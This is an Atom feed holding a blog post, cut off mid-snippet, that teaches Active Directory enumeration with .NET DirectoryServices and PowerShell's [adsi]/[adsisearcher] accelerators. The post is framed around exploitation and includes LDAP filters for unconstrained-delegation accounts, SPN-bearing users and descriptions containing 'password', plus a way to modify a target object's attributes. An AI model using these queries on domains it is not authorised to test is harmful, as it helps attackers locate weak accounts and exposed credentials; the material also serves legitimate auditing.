<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.0">Jekyll</generator><link href="https://dev-2null.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://dev-2null.github.io/" rel="alternate" type="text/html" /><updated>2021-08-06T13:46:10+00:00</updated><id>https://dev-2null.github.io/feed.xml</id><title type="html">dev-2null.github.io</title><subtitle>dev2null's personal blog.</subtitle><author><name>dev2null</name></author><entry><title type="html">Easy Domain Enumeration with ADSI</title><link href="https://dev-2null.github.io/Easy-Domain-Enumeration-with-ADSI/" rel="alternate" type="text/html" title="Easy Domain Enumeration with ADSI" /><published>2021-08-06T00:00:00+00:00</published><updated>2021-08-06T00:00:00+00:00</updated><id>https://dev-2null.github.io/Easy-Domain-Enumeration-with-ADSI</id><content type="html" xml:base="https://dev-2null.github.io/Easy-Domain-Enumeration-with-ADSI/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Domain enumeration is always the key to Active Directory exploitation. You can abuse certain features only if you are able to find interesting object relationship.&lt;/p&gt;

&lt;p&gt;People have different preferences when it comes to enumeration, some might prefer to use ldapsearch, adtool, bloodhound-python on Linux and some like to use PowerView, AD Module, SharpHound on Windows. However, this post aims to show how to enumerate the domain without additional powershell modules or third party tools. This can be quite useful in certain scenarios.&lt;/p&gt;

&lt;p&gt;When we enumerate the domain, most of the time, we are interacting with the LDAP service. There are three LDAP APIs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;System.DirectoryServices (ADSI for .NET)&lt;/li&gt;
  &lt;li&gt;Active Directory Service Interfaces (ads*.dll)&lt;/li&gt;
  &lt;li&gt;LDAP C API (wldap32.dll)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;DirectoryServices is a namespace in .NET framework that provides simple programming access to LDAP directories; The &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/adsi/active-directory-service-interfaces-adsi&quot;&gt;ADSI&lt;/a&gt; is a &lt;strong&gt;Component Object Model (COM) based&lt;/strong&gt; native API used to access directory services features from different network providers (such as LDAP); And the LDAP C API provides functions that enable directory client to search, retrieve and modify information from the LDAP directory service.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;All LDAP requests from a directory client ultimately go through the native LDAP C API.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This post focuses the DirectoryServices (SDS) namespace which provides us easy access to the domain objects. It is based on ADSI and it uses .NET’s ability to interoperate with COM to provide a managed code wrapper around some of the ADSI interfaces.&lt;/p&gt;

&lt;h2 id=&quot;directoryservices&quot;&gt;DirectoryServices&lt;/h2&gt;

&lt;p&gt;There are actually three namespace we can use to interact with the LDAP service:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;System.DirectoryServices&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It provides easy access to Active Directory Domain Services from managed code. The namespace contains two component classes, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DirectoryEntry&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DirectorySearcher&lt;/code&gt;, which use the Active Directory Services Interfaces (ADSI) technology. &lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;System.DirectoryServices.ActiveDirectory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It provides a high-level abstraction object model that builds around AD services tasks. It is used to automate AD management tasks and is not used to access data resides within AD.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;System.DirectoryServices.Protocols&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike the first two namespace, it has no dependencies upon the ADSI COM-based system for directory access, it supports LDAP by calling directly into the Windows LDAP library (wldap32.dll).&lt;/p&gt;

&lt;p&gt;I prefer to use the last namespace in my &lt;a href=&quot;https://github.com/dev-2null/ADCollector&quot;&gt;ADCollector&lt;/a&gt; because S.DS.P provides highest level of control and performance (and it seems like we can only create computer objects with the Protocols namespace). But this post is all about the first namespace System.DirectoryServices.&lt;/p&gt;

&lt;h3 id=&quot;data-type-convention&quot;&gt;Data Type Convention&lt;/h3&gt;

&lt;p&gt;Each LDAP data type has a corresponding ADSI data type used to represent it within the ADSI world; Each ADSI data type has a default COM data type that it will be converted to by clients using the automation-compliant APIs; Each COM data type has a default marshaling behavior in .NET determined by the .NET COM interop layer. ADSI maps each LDAP attribute to an appropriate ADSI data type and COM data type.&lt;/p&gt;

&lt;p&gt;The .NET DirectoryServices uses two different mechanisms to translate ADSI data types to .NET data types:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;DirectoryEntry&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Essentially a wrapper around the IADs interface, IADs is an &lt;em&gt;automation-compliant&lt;/em&gt; COM interface, it returns standard COM automation data types when the properties are accessed. The normal .NET/COM interop system has built-in marshaling for the standard variant types.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;DirectorySearcher&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Essentially a wrapper around the ADSI IDirectorySearch interface which is &lt;em&gt;not automation compliant&lt;/em&gt;, and it does not return standard COM variant types.&lt;/p&gt;

&lt;p&gt;Automation makes it possible for one application to manipulate objects implemented in another application, or to expose objects so they can be manipulated. We will talk about this later for the DirectoryEntry.&lt;/p&gt;

&lt;p&gt;There are two main differences between the two classes mentioned above:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;DirectoryEntry is used to bind directly to objects such as an AD user, computer or group whereas DirectorySearcher is used to search for one or more objects based on an LDAP filter.&lt;/li&gt;
  &lt;li&gt;DirectoryEntry can be used to update object attributes whereas DirectorySearcher can only view object properties.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Additionally, a few LDAP data types converted by DirectoryEntry and DirectorySearcher could be different.&lt;/p&gt;

&lt;h2 id=&quot;active-directory-partitions&quot;&gt;Active Directory Partitions&lt;/h2&gt;

&lt;p&gt;To search objects in AD, first we need to understand the basic structure of the AD database and find out where we should search from. Active Directory can support tens of millions of objects and to scale up those objects, the AD database is divided up into &lt;strong&gt;partitions&lt;/strong&gt; (aka &lt;strong&gt;naming context&lt;/strong&gt;) for replication and administration. Each logical partition replicates its changes separately among domain controllers in the forest. See the typical structure below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/adenum/adpartitions.png&quot; alt=&quot;ADPartitions&quot; class=&quot;align-center&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Domain Partition: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DC=privatelab,DC=local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It stores information about directory objects found in the given domain. (E.g. Users/Groups/Computers/OUs.)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Configuration Partition: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=Configuration,DC=privatelab,DC=local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It stores information about the directory structure such as available domains/sites and domain controllers in the forest.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Schema Partition: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=Schema,CN=Configuration,DC=privatelab,DC=local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It stores definition of all objects, along with their properties.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Application Partition: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DC=DomainDnsZones,DC=privatelab,DC=local&lt;/code&gt; &amp;amp; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DC=ForestDnsZones,DC=privatelab,DC=local&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is optional, and it stores information about a specific application, it cannot be used to store security principal obejcts. (E.g. Adding the DNS role will add DomainDnsZone/ForestDnsZone)&lt;/p&gt;

&lt;p&gt;Most of the time, objects we want to enumerate are under the default naming context (domain partition).&lt;/p&gt;

&lt;h2 id=&quot;net-programming&quot;&gt;.NET Programming&lt;/h2&gt;

&lt;h3 id=&quot;directoryentry&quot;&gt;DirectoryEntry&lt;/h3&gt;

&lt;div class=&quot;language-cs highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;DirectoryEntry&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
			&lt;span class=&quot;s&quot;&gt;&quot;{Provider:}//{server:port}/{hierarchy path}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;s&quot;&gt;&quot;{username}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;s&quot;&gt;&quot;{password}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Provider&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The DirectoryEntry class contains five public constructors which allow us to initialize the Path, Username, Password and AuthenticationTypes properties directly.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Provider&lt;/code&gt; can be “LDAP” or “GC” (for LDAP); &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server&lt;/code&gt; can be DNS style name (fully qualified DNS name of DC/GC/Domain/Forest and unqualified name of Domain/Forest), NetBIOS name, IP address and null (Serverless); The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hierarchy path&lt;/code&gt; would be the “distinguishedname” of objects (e.g. CN=objname,CN=Users,DC=domain,DC=local). &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Username&lt;/code&gt; can be the “distinguishedname”, NT account name (Domain\User), User Principal Name (user@domain.local) and plain user name. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Provider Options&lt;/code&gt; would be the Authentication Type, and we are not going to talk about it.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The current windows security context will be used to access the directory automatically.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&quot;rootdse-root-directory-server-agent-service-entry&quot;&gt;rootDSE (Root Directory Server Agent Service Entry)&lt;/h4&gt;

&lt;p&gt;The rootDSE is a shortcut for accessing the root DSE object (a DSA-specific entry which provides specific information about the directory on all servers). It is defined as the root of the directory data tree on a directory server. It can be very useful if you want to know the distinguished name of the naming contexts exposed by the directory, the schema it exposes, and the various capabilities it supports. This is how you create a new instance of the DirectoryEntry object and bind to the rootDSE:&lt;/p&gt;

&lt;div class=&quot;language-cs highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;DirectoryEntry&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;LDAP://rootDSE&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AuthenticationTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Secure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;directorysearcher&quot;&gt;DirectorySearcher&lt;/h3&gt;
&lt;p&gt;The DirectorySearcher uses a DirectoryEntry object to define the location from which to start the search in the directory tree and to define the security context used to perform the search:&lt;/p&gt;

&lt;div class=&quot;language-cs highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DirectoryEntry&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;LDAP://DC=privatelab,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DirectorySearcher&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ds&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DirectorySearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;entry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Filter&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;(sAMAccountName=*)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SearchResultCollection&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;foreach&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SearchResult&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sAMAccountName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are two key methods actually execute the search: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FindAll()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FindOne()&lt;/code&gt;. FindAll returns a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SearchResultCollection&lt;/code&gt; containing all search results for a given search filter whereas the FindOne returns a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SearchResult&lt;/code&gt; representing the first result in the result set (FindOne calls FindAll internally).&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The DirectorySearcher will search from the root of the domain partition if no DirectoryEntry object is provided.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;ldap-filter&quot;&gt;LDAP Filter&lt;/h3&gt;

&lt;p&gt;The LDAP filter determines which objects will be returned in the query. Each object in the scope of the query will be evaluated against the filter to determine whether it matches:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(&amp;lt;attribute name&amp;gt; &amp;lt;filter type&amp;gt; &amp;lt;attribute value&amp;gt;)`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This post does not cover much about the syntax, if you want to learn how to write LDAP filters, you can read &lt;a href=&quot;https://ldap.com/ldap-filters/&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here are some examples of the LDAP filters I used in ADCollector:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Accounts have Unconstrained Delegation enabled (excluding Domain Controllers)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(&amp;amp;(userAccountControl:1.2.840.113556.1.4.803:=524288)(!primaryGroupID=516))&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;User Accounts with SPN set&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(&amp;amp;(sAMAccountType=805306368)(servicePrincipalName=*))&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;User Accounts with interesting description&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(&amp;amp;(sAMAccountType=805306368)(description=*password*))&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;powershell-type-accelerator&quot;&gt;PowerShell Type Accelerator&lt;/h2&gt;

&lt;p&gt;Type accelerators are aliases for .NET framework classes. They allow you to access specific .NET classes without having to explicitly type the entire class name. Luckily, two classes we need have corresponding type accelerators:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;adsi                System.DirectoryServices.DirectoryEntry
adsisearcher        System.DirectoryServices.DirectorySearcher
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To create an instance of the DirectoryEntry class using the type accelerator, you can supply a set of empty strings:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/fqdn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;
[adsi]&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LDAP://domain.local/OU&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MyOU&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Local&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;
[adsi]&quot;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;LDAP://10.10.10.1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To create an instance of the DirectorySearcher class using the type accelerator, you can supply a set of empty strings, the empty string supplied to the DirectorySearcher class for the constructor will be interpreted as the filter: &lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(ObjectCategory=user)&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can also supply a DirectoryEntry object for the DirectorySearcher object so that you can define location you want to search:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local/OU=MyOU,DC=Domain,DC=Local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(ObjectCategory=user)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Keep in mind that only the DirectoryEntry can be used to update object properties. If we need to modify a specific attribute of an object returned in the search result, we first need to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetDirectoryEntry()&lt;/code&gt; method to get the DirectoryEntry of the target object:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=targetuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To modify an attribute of the target object, we can simply set the property value:&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#Modify the property of one object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsisearcher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;adsi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LDAP://domain.local&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(name=targetuser)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;FindOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDirectoryEntry&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$entry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Properties&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span 